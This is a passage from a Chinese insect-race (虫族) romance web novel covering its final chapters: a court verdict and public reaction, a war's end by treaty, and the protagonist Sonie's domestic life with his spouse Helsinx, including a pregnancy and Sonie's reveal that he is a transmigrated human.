杰里士继续宣读:“同案其他雌雄虫,依其参与罪行程度,予以从严不等处罚。其中法门·恩其顿,判处监禁五年,罚金十亿,剥夺军事政治权利终身。伊图里斯·海泽,判处监禁一年,罚金八千万。西沙·梅尔加雌君并雌侍三只虫,因在前线作战,暂予收押,俟战事平息另行审判。” 判决结果通过网络直播瞬间传递整个联盟。 星网炸了。 [十年?!是不是太轻了!他害死了多少虫!] [有意思,志愿服务八十年?从监狱出来他还能活得那么久吗?这跟终身卖|肉有什么区别?] [呵呵,果然又是对雄虫高高拿起轻轻放下!要是雌虫犯这些罪,早被挫骨扬灰了!] [楼上疯了吧?这还叫轻轻放下?爵位没了,钱没了,自由也没了,一辈子几乎完了!] [对比他做的孽,我觉得还行!至少没让他好过!我们边缘星很多雄虫作恶多端,一辈子还享福享乐] [索涅殿下是唯一的S级了!支持殿下!] 舆论沸反盈天,有认为过重的,更多是认为过轻的,尤其是对艾浮残害雄虫的行为,许多受害权贵依旧意难平。 太丢脸了!太可恶了!敢杀雄虫?敢骗他们?千刀万剐他们才解恨! 不过志愿服务么,也挺好的…… 审判结束后,全体议会成员并未散去,而是紧接着展开了为期五天的封闭式会议。 会议的核心议题,便是紧急磋商拟定针对S级雄虫的专项法律条例,同时彻底审视和完善现有雄虫相关法中的漏洞与模糊地带,避免再出现艾浮这类钻漏洞的极端案例。 索涅作为目前联盟唯一的,且经过严格验证的S级雄虫,在艾浮与西沙同时倒台后,被无可避免地推上了风口浪尖。他的支持率在民众和军中空前高涨,几乎被视作了虫族未来的象征与支柱。 随之而来的便是沉甸甸的责任。 圣山各项事务正式与他接洽,让他主导接下来两位新圣子的选拔与考核工作。看着堆积如山的待批文件和不断涌入的会面请求,索涅揉了揉眉心,无奈地意识到,他梦想中与赫尔辛斯和虫崽的悠闲时光,恐怕短期内是彻底泡汤了。 主星这边拨云见日,沉冤得雪,对前线的士气也是巨大的鼓舞。 联盟紧急研发并配发到前线的新型反精神力武器成效显著,虽然不能完全免疫安斯族的攻击,却大大削弱了影响。军雌们不再需要时刻担心精神力失控,战斗时少了许多顾忌。 士气高昂的联盟军,在赫尔辛斯指挥下攻势如虹,在短短两个月内攻下安斯族主星域的三颗宜居星,呈包围之势,利剑直指主星! 形成鲜明对比的是羽族星域,这里另一名高级军雌临时指挥,以第三军为主力的。由于他们的直属上将科亚被收押,前途未卜,军中弥漫着一种挥之不去的低迷和不安。 但他们没有退路,身后便是需要守护的亿万民众,只能顶着一股惶惶心绪冲锋陷阵。 好在赫尔辛斯上将很快捏住安斯族的咽喉,羽族星域也就正式休战。 接连的惨败和主星岌岌可危的形势,终于让安斯族认清了现实。这场战争他们已经毫无胜算。 安斯族再次推出了休伊斯作为谈判代表,向虫族发出了和谈请求。 虫族高层经过激烈讨论,最终还是同意了谈判。 星际法庭所在的的中立星域,一时间汇聚了来自虫族莫里斯联盟、安斯族以及作为受害方代表的羽族三方的精锐谈判代表团,成员多达三百名。 这场关乎未来星系格局的谈判,持续了整整一个月,谈判官唇枪舌战唾沫横飞,甚至在法庭上大打出手。 最终在星际法庭的见证下,一份烙印着星际法徽章的战败条约正式生效。 条约规定:安斯族成为虫族附属文明,期限一百年,同时需向虫族和羽族支付巨额战争赔款,其条款之苛刻,据说需要十只强壮军雌才能抬动那份山一样的赔偿清单。 随着条约的签订,三族之间的战事终于落下帷幕。 这一次,他们分离的时间格外长,终于能安静地好好通讯一次,赫尔辛斯柔软的目光让索涅心头发软。 “要回来了?”他轻声问。 雌虫点点头,主动侧头给雄虫看他左脸的伤疤。 “已经不太明显了,突破双S级后,伤势恢复的速度是之前的两倍。”雌虫看起来很高兴。 索涅心中轻叹一口气,无论他再怎么保证,爱美的雌虫终究对自己的左脸很是介怀。 他于是笑起来:“很漂亮,快回来让我亲一亲。” 雌虫勾起唇:“请您等我,应该不出半个月就会开始返程。” 索涅顿时大失所望:“那岂不是还有将近一个月才能见到你?” “我好想你,赫尔辛斯。“ 赫尔辛斯眼神愈发柔软,但距离的因素他也无可奈何,只得轻声细语地安抚撒娇的雄虫。 “法门的蛋出生了,我刚被维希那家伙炫耀了一脸,猜猜虫纹是什么颜色?”雄虫脸色诡异地说。 赫尔辛斯沉吟:“雌蛋,应该是金色或者棕色?” “你看,我就说这很奇葩吧,他还不承认。”雄虫顿时挑眉,“是白色的。” “白色?”赫尔辛斯一惊。 “医雌说是两只雄虫的精神力驳斥的结果,恰好影响了虫蛋的色素基因,维希得意得不行。”索涅很无语。 “莱昂兹也怀上了,是一枚雄蛋。”他说。 赫尔辛斯羡慕的眼神让他一阵好笑。 “你快回来,我们一起努力,你的愿望很快就能实现。”他诱哄这只想生蛋的虫虫。 赫尔辛斯耳朵泛红,雄主怎么老用虫蛋调侃他。 “科尔已经可以流利地说一段话了,这小家伙对他小叔拥护得不行,连我这个雄父都被抛在一边。”索涅故意做出一副嫉妒的样子。 赫尔辛斯果然笑了:“您宠坏了他。” 索涅轻哼:“自己的孩子,那必须要宠。我现在很有危机感,维希那家伙比我还夸张。” 他们又说起法门的事。 法门被监禁后日子过得还可以,毕竟证据链的搜集过程他出了不少力,安莫因在为他打点,维希也一天三次地去看他。 这个处罚对他来说就是毛毛雨,但在军部的一切成就和名誉算是毁了,这才是对他最大的惩罚。 “不知道科亚会被怎么处罚。” “西沙才判了那么点,他能有什么大事。”索涅嘟囔。 他心里很不满,准备等西沙出狱后动手找麻烦。 “法庭宣判的志愿服务很伤身,五年服务,他估计就废了。”赫尔辛斯说。 A级雄虫服务者,精神暴乱又不想结婚的高等军雌们不会错过的。 索涅心里稍稍平衡。 不过这不妨碍他继续找西沙的事,让这只雄虫五年监狱生涯好好教他做虫—— 作者有话说:[狗头叼玫瑰] 第90章 甜滋滋冰淇淋 这只雌虫很想生蛋,雄虫…… 半夜四点, 索涅正在睡梦之中。 隐隐约约地,床铺一侧似乎塌了下去。 他正做着梦,接触到一具熟悉的温热身体, 便一把搂入怀中, 脑袋压在对方肩窝, 又深深地陷入熟睡中。 来者轻轻地摸了摸他的额头, 唇角弯起温柔的弧度, 闭上眼睛。 日光渐渐地从地平线升起, 索涅慢慢转醒,迷糊中感到身下压着一个温暖柔软的东西,不禁伸手捏了一下。 软软的, 又很有手感。 像…… 索涅猛地睁开眼从床上弹起来。 他感受到身旁温热的躯体, 一股血液顿时从心腔涌出, 顺着激动的呼吸直达大脑,化为清水从眼角溢出。 “赫尔辛斯……”他喃喃着, 在黑暗中抓住了雌虫的手腕。 温暖的,又软又弹的肌肉,还有雌虫活跃跳动的脉搏。 “我回来了。”雌虫低声说道,他凑上去吻在雄虫脸上。 湿漉漉黏糊糊,两股潮热的气息激烈地纠缠在一起, 仿佛饥饿的野兽彼此撕咬。 “你骗我。”雄虫掐住他的胸控诉。 “我本来明晚才会去星港接你,这下好了,我竟然让你独自从星港赶回家里。”雄虫很伤心。 赫尔辛斯拉住他的手,让他去抚摸自己的翼腔和虫纹, 期望以此安慰雄虫。 索涅郁闷的心情在虫虫笨拙的安慰下渐渐松快。他挠着雌虫柔软敏感的翼腔,想重重抠一抠来惩罚他,但又舍不得他疼。 他紧紧地搂着雌虫, 给他盖上被子:“睡一会儿吧。” 他听到雌虫语气里的疲惫。 醇香信息素温和地缭绕着雌虫,没有引起他的情欲,却让他迅速放松下来,陷入黑甜的睡眠之中。 索涅已经没有睡意。 他静静地听着雌虫平稳的呼吸声,与他相贴的胸膛里传来有力的心跳。 他近日焦躁的心绪彻底平和。 雌虫睡熟后,索涅伸出精神丝为他细致地梳理,而后让精神丝待在雌虫的精神域里,外界更是被他的精神丝裹成一个丝茧,两只虫在小小的安全空间里相拥沉沉睡去。 知道主君半夜归来,日上三竿房门紧闭,侍者们都没有去打搅圣子殿下,只是心照不宣保持宫殿的静谧。 哒,哒,哒。 一个小身影脚步连贯地从走廊尽头跑过来。 “小雌子!小雌子!”侍者轻声急促地叫着。 科尔毫不理会,啪嗒啪嗒跑到雄父卧房门口,伸出小手就是拍。 被额冒冷汗的侍者一把抓住爪子。 “小雌子,圣子殿下正在休息,我们先去找卡尔兰雌子玩好不好?” 科尔眼睛一亮,“可以找小叔?” 卡尔兰还小,睡觉时间很长,科尔不是经常有机会找他玩。 侍者好言好语把小家伙劝走,谁知小家伙严肃地说出一句话。 “雄父是个大懒虫!科尔都起床了,雄父还没起床!” 侍者顿时冷汗直流。 门口的动静早就吵醒了索涅,他五感敏锐,因此睡眠不是很好。 不过这几个小时睡得格外沉。 他捂着雌虫的耳朵,低头静静地看着他的睡颜。 光线被厚重的窗帘挡住,室内有些昏暗,雌虫的眼睫一动不动,还在深眠当中。 索涅忍不住吻了一下他光洁的额头。 “唔……”雌虫翻了一个身,脑袋从枕头上缩进被子里,额头抵着雄虫的锁骨。 “醒了?”索涅摸着他的后颈。 雌虫嗯了一声,半晌没说话。 不一会儿,平稳的呼吸再次传来。 索涅失笑,索性陪着他一直躺到中午。 睡懵了的雌虫从床上迅速爬起来,穿上衣服又坐在床边不动。 索涅从身后搂住他,吻他的耳朵根,“怎么了?还想睡?” 雌虫耳朵发红地抿起唇:“……我太懒惰了。” 身后的雄虫从喉咙里发出闷笑,咬了一口他的耳垂,张开手臂半跪在床头:“那么,我亲爱的勤劳的雌君,抱我去洗澡吧。” 雌虫抱着他走路,索涅还偏要和他接吻,将雌虫的视野遮得严严实实,只能摸索着缓慢挪到浴室。 雌虫将他放进浴缸里。 他一把将雌虫扯进来,溅起一片水花。 “辛苦虫虫了,这是你的奖励。”他一口叼住雌虫的唇。 “这么小的一件事……”雌虫模糊的话音被堵住。 “无论多小,都值得奖励。” 雌虫双手撑着浴缸趴在他身前,索涅抬起他的下颌。 他轻轻地摩挲着那片还有些不平的皮肤,引得雌虫不自在地眼睫颤动。 他吻上那片皮肤,嗓音低哑:“是时候给调皮的小科尔生个弟弟了……” 雌虫耳廓红润,眼眸湿漉漉地看着他。 “我想服侍您。”雌虫说。 他是一只学过雌君课程的高等军雌,他可以做得很好,让雄主在这方面更爱他。 索涅之前觉得这样不好,但雌虫有自己的习俗,他应该尊重。 赫尔辛斯的雌君课程,确实学得很不错…… 浴缸的水被晃出去不少,又再次加满。 “您觉得,怎么样?”雌虫小声地问。 他自认为这次做得不好,因为他中途实在忍不住泄力了。 雌虫为了孕育虫蛋而塌着腰,优美的肌肉曲线看得索涅口干舌燥。 “我爱你。”索涅只是说,然后继续细密地吻他的脖颈。 雌虫的脸顿时红得彻底。 看来他做得很不错,雄虫很满意。 关于雌君课程到底要不要当回事,不同的雌虫有不同的看法。 比如安莫因,他正在偷摸研究曾经用来垫桌脚的《如何巧妙撩拨雄虫》。 费伦斯把事务交给越来越熟练的索涅后,彻底放飞自我整天泡在实验室,安莫因实在不知道怎么在雄虫做着他热爱的事业时勾搭他。 他是为数不多可以自由出入实验室的虫子,明明有很多机会,但他有点怵穿着实验服的费伦斯。 当然,他不会告诉任何虫, 卡尔兰的发育出乎意料地好,只是一头白色胎发看起来有点营养不良。 “呜呜呜啊……雌父……雌父雌父!”某只小崽子赖在雌父怀里哼哼唧唧地哭。 卡尔兰被他闹得也开始泪眼汪汪,安莫因连忙抱在怀里哄。 “都不爱我……”索涅嘀咕道。 “我爱雄父!科尔爱雄父!”小家伙连忙表态。 几只成年虫忍不住“扑哧”笑出来。 “你家小崽子这撒娇的功夫,不知道哪只雄虫受得住。”安莫因说。 索涅顿时焦虑起来,对小家伙嘱咐:“科尔,有喜欢的雄虫一定要先告诉雌父雄父,雌父雄父要先确定他是个好雄虫,不要随便和他在一起。” 小家伙眨巴着大眼睛:“好哒。” 他小小的脑瓜子开始琢磨起来。 什么样的雄虫是好雄虫? 唔……雄父一定是好雄虫,祖父也是好雄虫! 维希叔叔勉勉强强算是,恩修叔叔爱欺负莱昂兹叔叔,他不是好雄虫! 决定了,以后看到像祖父和雄父的雄虫,就抓回家里结婚! 小家伙心里决定了什么,索涅他们不得而知,不过确实有不少虫在打科尔墨斯和卡尔兰的主意。 索涅对此一律回绝,全部免谈。 他还不至于卖崽子谋生活。 赫尔辛斯在此次战役中居功至伟,军衔上他已经走到尽头,实在是升无可升,恩其顿王族那边递上邀请,可以恢复他的王虫爵位。 赫尔辛斯拒绝了。 族内优秀的雌虫不少,不缺他这一个。他也不想再沾染王族事务,一旦回归王族,必然会有诸多不得不做的违背他本心的事。 他已经自由了太久,不想再回归牢笼。 他是上将,雄主是圣子殿下和公爵的双重爵位,他也不稀罕王虫称号。 于是经由商讨,圣山决定封予赫尔辛斯上将公爵爵位并两颗宜居星封地,此次战役所获安斯族赔偿中五颗资源星也将归属于他名下。 赫尔辛斯的财产上涨这么多,索涅不得不敲诈他一顿大餐。 “我送您宝石,送您星球,送您房子您都不要。”雌虫郁闷地戳着鲜红的五分熟烤肉。 他很挫败。 雄主太富了,又太节俭了。 这让他很没有成就感。 “啊……”索涅张开嘴巴。 雌虫把切下来的肉小心地塞进他嘴里。 索涅咽下亲亲虫虫的投喂,才笑着开口:“我要是需要,会毫不客气找你要的,你该高兴我并没有把自己弄得一穷二白。” 没有太多见不得光又费钱的事情要做,索涅的资产指数型上涨。 雌虫高兴不起来,但雄虫很快找到让他开心的办法。 那就是把自己当成一个虫崽崽,让他保护欲爆棚的雌虫照顾。 给饭来张口的雄虫喂完这顿饭,赫尔辛斯脑子快过载了。 他不得不承认,他面相凶狠的雄主比他更会撩。明明毫无接触,信息素和精神力都没有释放,赫尔辛斯却腰软腿软,气血上涌。 索涅得意地带着他的虫虫,到附近最热闹的商业中心散散步。 这边既有繁华的商业区,也有静谧柔和的湖泊栈道,绚烂的光线倒映在湖面,清爽的空气让脑袋发晕的雌虫逐渐冷静。 他们全副武装,戴着口罩帽子,去几个店铺买了冰淇淋和肉脯饮料,然后坐在湖边慢慢悠悠地吹着风。 有几只虫注意到赫尔辛斯的金发,不过却也没怀疑他的身份,重点全在他们亲昵的姿态上。 “我也想和雄主这样散步吹风吃零食……”一只雌虫羡慕地说。 他的雌虫同伴叹了口气:“谁不想啊……真是幸运的家伙……” 他们坐得离那两位有点近,声音飘到索涅和赫尔辛斯耳朵里。 巨大的冰淇淋蛋筒挡住他们的脸,索涅忍不住笑起来,让雌虫舔最爱的蓝莓味冰淇凌球,他自己则是逮着哈密瓜味咬。 呼吸靠得那么近,身体周围全是冰淇淋香甜的味道,雌虫的脸慢慢地红了。 索涅笑得眼睛弯起。 “要是可以每天这样和你散散步就好了。”他又叹了口气。 赫尔辛斯有些心疼,雄虫每天都非常累。 “要么,我看这次选出来的圣子有没有合适的,把事全推给他,逍遥自在地和你过小日子算了。”索涅是个死宅,他真打算这么干。 “一切遵循您的意愿。”雌虫被冰得红润的唇说出甜滋滋的话。 索涅忍不住吻他,果然,这两个红红的小果冻甜度爆表。《 》 【完结章】 第91章 完结章 勤劳的雄虫最终还…… 在新圣子选拔进行到第二轮的时候, 安斯族的第一批战争赔偿陆续送达羽族和联盟边缘星。 这一批主要是珍惜能源矿石和物种基因库,分批次送到各星球研究院和发展部门,不知会有多少研究成果, 这些索涅并不太懂。 尽管不懂内部理论, 但这些批复起来并不难, 难的是正在进行的圣子考核, 总有雄虫想闹点幺蛾子。 索涅希望维希和恩修能参加圣子选拔, 但这俩家伙死活不去。 “当圣子有什么好的?我有钱有权, 还能逍遥自在。”这确实是维希能说出来的话。 “那你呢?为什么不帮我的忙?”索涅问。 恩修挑挑眉:“你都说了,你忙,所以我不去。” 索涅:“……” 他沉痛地躺在沙发上, “损友, 就算你们不当圣子, 活儿也别想少干。” “这你放心,毕竟你是当盾牌的那个, 我当然会大把大把挣钱,话说去年的分红真不错。”维希捋了一把精心修剪的狼尾发型。 “嘿嘿,我已经把家族整个吞进肚子里了,莱昂兹给我买了一栋新房子,老漂亮了。”恩修笑眯眯。 这么一对比, 索涅感觉自己的生活更加无望了。 忙,累,还没时间让虫虫生蛋。 他和赫尔辛斯努力了一个月,可就是怀不上, 索涅开始怀疑是不是自己老了不中用了。 直到某天,雌虫赤脚从浴室里跑出来,发丝湿漉漉地粘在身上。双眼亮得发光。 床榻随着他的动作轻轻下落, 他拉起索涅的手放在自己虫纹上。 微鼓的小腹与平常无异。 “肚子疼?”索涅放出信息素钻进雌虫的虫纹里。 雌虫摇摇头:“不疼。” 索涅勾起唇,缓缓地摩挲着,只当雌虫想让他摸摸。 见他不说话,赫尔辛斯抿抿唇:“您再猜猜。” 他眼睛亮晶晶。 索涅一顿,心中顿时浮起一个不可思议的猜想:“……怀上了?” 雌虫笑着点点头。 索涅连忙又摸了摸那片皮肤,小心地探出精神力,果然在雌虫生殖腔里感知到一个微弱的小生命。 “最近你的胃口好像是变大了一点……是雄蛋吗?” 赫尔辛斯也不知道,他们只能第二天去医院检查。 这次依旧是那只医雌,显然他还认得索涅和赫尔辛斯,感受到上将有些紧张,医雌不由加快动作,小心地扫描着虫蛋影像。 结果已经了然,他下意识替赫尔辛斯上将松了口气,面上也露出真切的笑容来。 “是个小雄子,恭喜圣子殿下,恭喜上将。”医雌给他们看那个小小的胚胎。 再看一次,索涅仍旧感到很神奇。 蛋壳都还没发育出来,小家伙只有小拇指大。 雄蛋的蛋壳相较雌蛋更厚,照顾起来有诸多不同之处,两只虫听得都很认真,医雌热情地嘱咐了一大堆。 出了医院连十点都没到,索涅将飞行舰里的零食塞给饥饿的雌虫,又给安莫因和费伦斯报告这个好消息。 他还给小科尔的宝宝手环页发了个小视频。 做完这一切,他听到雌虫咔擦咔擦咬肉干的声音。 “满足了?” “满足了。”雌虫点点头,“我本来想如果这次怀不上,就算了。” “生太多蛋,分给每个崽子的时间就太少了。”雌虫皱皱眉,“您说,科尔会不会生气?” 索涅一笑,扬起手给他看:“喏,宝贝科尔的回复来了。” 小家伙一边录着视频一边吃早午饭。 “雌父怀了一个弟弟?!”小家伙眉开眼笑,乐乐呵呵的,“雌父真厉害!” 紧接着小家伙苦巴巴地皱起脸:“呜呜呜雌父坏!又在汤里加了臭鱼!” 臭鱼是一种形似小鱼的幼崽专用营养补剂。 “怎么一会儿好一会儿坏?到底是好还是坏?”索涅逗着小崽子,余光看到雌虫神情舒展。 “小弟弟也是像小叔那样的漂亮蛋吗?”小家伙对弟弟很感兴趣。 “唔,差不多,不过弟弟身上没有卡尔兰那种花纹,弟弟是雄虫。”索涅给他解释。 小家伙没见过雄蛋,一脸的茫然,索涅忍俊不禁。 这个消息让安莫因和费伦斯都颇为紧张,连忙让索涅把赫尔辛斯带到研究院好好检查一下虫蛋状态。 索涅带着雌虫先吃了午饭,在费伦斯那儿一通检查,结果是虫蛋很健康,壮得堪比雌虫。 精神力结构不出所料遗传了索涅,目前看不出等级,不过大概也是起点很低,但没有进阶瓶颈。 几只虫商量过后,决定等虫蛋发育稳定后再公布消息。这段时间他们是不少虫的眼中钉,实在不宜张扬。 雌雄蛋都有后,赫尔辛斯算是了了一个心结,每天按时上下班,也不再进行高强度训练,主打一个安心养胎。 “弟弟好。”科尔大清早就在餐桌边和大白蛋弟弟打招呼。 自从听说弟弟的模样和剥了壳的鸡蛋很像,他就不吃水煮蛋了。 圣子选拔圆满结束,依旧有一只雄虫来自梅尔加,今年刚进入觉醒期。另一位来自低等宜居星。 基因的触底反弹确实是个奇妙的现象,难以想象这只雄虫的雌父只是个基层工雌,雄父酗酒赌博,在地下交易所变卖家产时死于星盗之手。 索涅终于可以把手头的事务分出去,不过这两位对他善恶难辨,要想更舒坦放松的生活,还得再观察很长时间。 但终究比以往清闲了很多,他可以多陪陪被乳牙折磨的小崽子,和虫虫悠闲地吃个浪漫晚餐。 舒坦的日子没持续多久,赫尔辛斯又忙起来了,索涅无比郁闷。 安斯族赔偿的五颗资源星和圣山封予的两颗宜居星已经归于赫尔辛斯名下有不少事要做,他和索涅各自占据书房一角,办公桌摞起厚厚的资料,几个大光屏更是一刻也不得闲。 令人困意上涌的下午,索涅瘫在椅子上,生无可恋:“这日子真不是人过的。” 雄虫的口误让赫尔辛斯有些在意。 索涅正看着他,当然注意到他的神色。 “怎么了,累了?” 雌虫抬头看着他,嘴唇动了几下,才缓缓地开口:“人……是什么?” 索涅惊愕地看着他忐忑的脸,旋即懊恼地一拍脑袋:“我竟然忘记告诉你了!” 雌虫看着他莫名的动作,被索涅拉起来,俩虫窝进卧房,又让侍者送了下午茶进来。 赫尔辛斯预感到雄虫将告诉他一些重要的事情。 而他,既想听又不想听。 索涅把叉子塞进他手里:“先吃点东西,边吃边听我说吧,和故事没什么差别。” 赫尔辛斯刚叉起一块小蛋糕,索涅第一句话就让他没了食欲。 “人,就是一个种族,就像虫族一样,它实际应该叫人族。” 索涅往雌虫的茶杯里加入方糖,缓缓地搅拌着,看着糖块慢慢融化。 “从我小时候给你说起吧,当然,是我记忆中的小时候……” “我最原始的记忆,是从孤儿院开始,院长是个和蔼的老头,我们所有孩子都跟他姓,对了,我是个男性。在我们那边有两个性别,我是……嗯,属于雄性那一方,我们两性比例接近平衡……” “我从小就身体不太好,老是头疼昏迷,却查不出病因,长大后也没法正常工作,于是就成为了一名游戏主播,事业经营得还算可以。” 雌虫静静地看着他,到这儿才插嘴:“您在哪儿都很优秀。” 索涅失笑:“其实我很平凡,我们那儿管我这种叫死宅。” “后来某天晚上,我出门觅食不小心在楼梯上昏迷,直接滚下十几个阶梯扭断了脖子,然后在ZY003的某只雄虫身上醒过来。”索涅一口气说完。 雌虫唇角抿起,眉头险些拧成疙瘩:“没有虫……人,照顾您吗?” “我是单身,我们那边追求两性平等,倒是可以雇保姆,但我不习惯。”索涅伸手把他眉心揉开。 雌虫眼睛湿漉漉的。 索涅笑了,捏着他精巧的下巴:“心疼我?” 雌虫点点头。 “我还没说完呢。”索涅叹了口气,“费伦斯和安莫因那个雄蛋,你不是还抱过?” “我就是那个蛋。” “珀斯晶体的爆性发能量把我冲击到别的宇宙,它自己衍生出意识占据了这个壳子,我在那边死亡后又穿越回来,把它挤出去了。” 赫尔辛斯顿时回想起雄蛋丢了以后,费伦斯让安莫因别去找,因此吵了一架冷战整整一年。 最后他们还是确定去找那枚虫蛋,后来演变成同时找他的关押地点和虫蛋的下落。 他没有怀疑索涅这些话的真假,费伦斯一定已经验证过。 更何况,雄虫只要愿意说,他就信。 事情到这儿,一些话终于可以说出口。 “我曾经还怀疑过您是间谍。”赫尔辛斯抿唇说道。 索涅睁大眼:“什么时候?” “您领我回来的第一天。”雌虫说。 “……” 这暴露得未免有点太早了。 他的表情显然逗笑了赫尔辛斯。 “您演得一点也不像雄虫。”他又给了索涅一刀。 索涅干笑:“我以前毕竟是个直男,你要求不能太高。” “直男?” “唔……就是和虫族外表差不多,只喜欢异性的人类男性,我们那边同性恋挺多的。” 赫尔辛斯吃蛋糕的动作顿住,思维迅速运转。 “您是人类男性,只喜欢异性,人类男性和虫族长得一样,那您喜欢的人类另一个性别……” 他的心渐渐地提起来。 “没错,和虫族两个性别都差距巨大。”索涅笑眯眯地说。 雌虫唇角抿直,把送到嘴边的蛋糕放下了。 “您说您不喜欢雌虫,也不喜欢亚雌。”他慢慢地重复索涅曾经说过的话。 “对。”索涅点点头。 雌虫漂亮的眼睛灰蒙蒙,没有水汽,但里面阴雨连绵。 索涅叹了口气,捏着他的下巴对着那双眼睛吻了又吻。 “我说过什么?赫尔辛斯?” 雌虫眼珠颤动着。 “我说过我爱你,你是整个虫族那个唯一的例外,这么漂亮又可爱的雌虫上将,怎么就不能多点自信?稍微逗逗你,你这双眼睛就要下雨给我看。” 雌虫启唇咬住他的指尖,以示不满。 “我们那边很含蓄的,你都不知道说那三个字我要酝酿多久。”索涅哀叹一声。 他要找时机,要练语气,还要控制自己别那么害羞。 雌虫笑起来:“您说得很畅快,我以为您是个中老手。” 他这话对某人来说带点奚落,于是换来一个恶狠狠的吻。 “我要在你身上练!早晚让你床上床下都丢盔弃甲!等着吧!”雄虫凶巴巴地宣布。 赫尔辛斯被他吻着,心里涌出一股猛烈的热流,烫得他胸口发痛。 不需要练了,雄虫早已让他不可自拔。 —— 《莫里斯联盟·后燧纪·执政官公爵录·圣子公爵录·公爵录》记载: 雄虫索涅·诺米茨·费伦斯,联盟科技贡献奖获得者查布·费伦斯与王虫兼议会委员长安莫因·苏利亚之雄子,后燧纪唯一高阶S级雄虫,唯一经历过十场以上战争的实权雄虫上将。与其唯一雌君双S级雌虫赫尔辛斯·恩其顿联合驾驶虫族第一架混沌型双向机甲,开创雌雄虫共同作战的先河,改变了虫族战争根本模式。 《八卦小报》记载: 索涅执政官禅位后提前退休,这只勤劳的雄虫最终还是疑似在某富饶星球过上了吃雌君软饭的日子。 《狗东西八卦小报》反驳《八卦小报》: 放屁。 我乐意,他可喜欢。 你想吃还吃不着—— 作者有话说:完结了,接下来开始修文和更番外,番外不定期[亲亲]这本算是我写得最顺畅的一本,虽然不足的地方很多《 》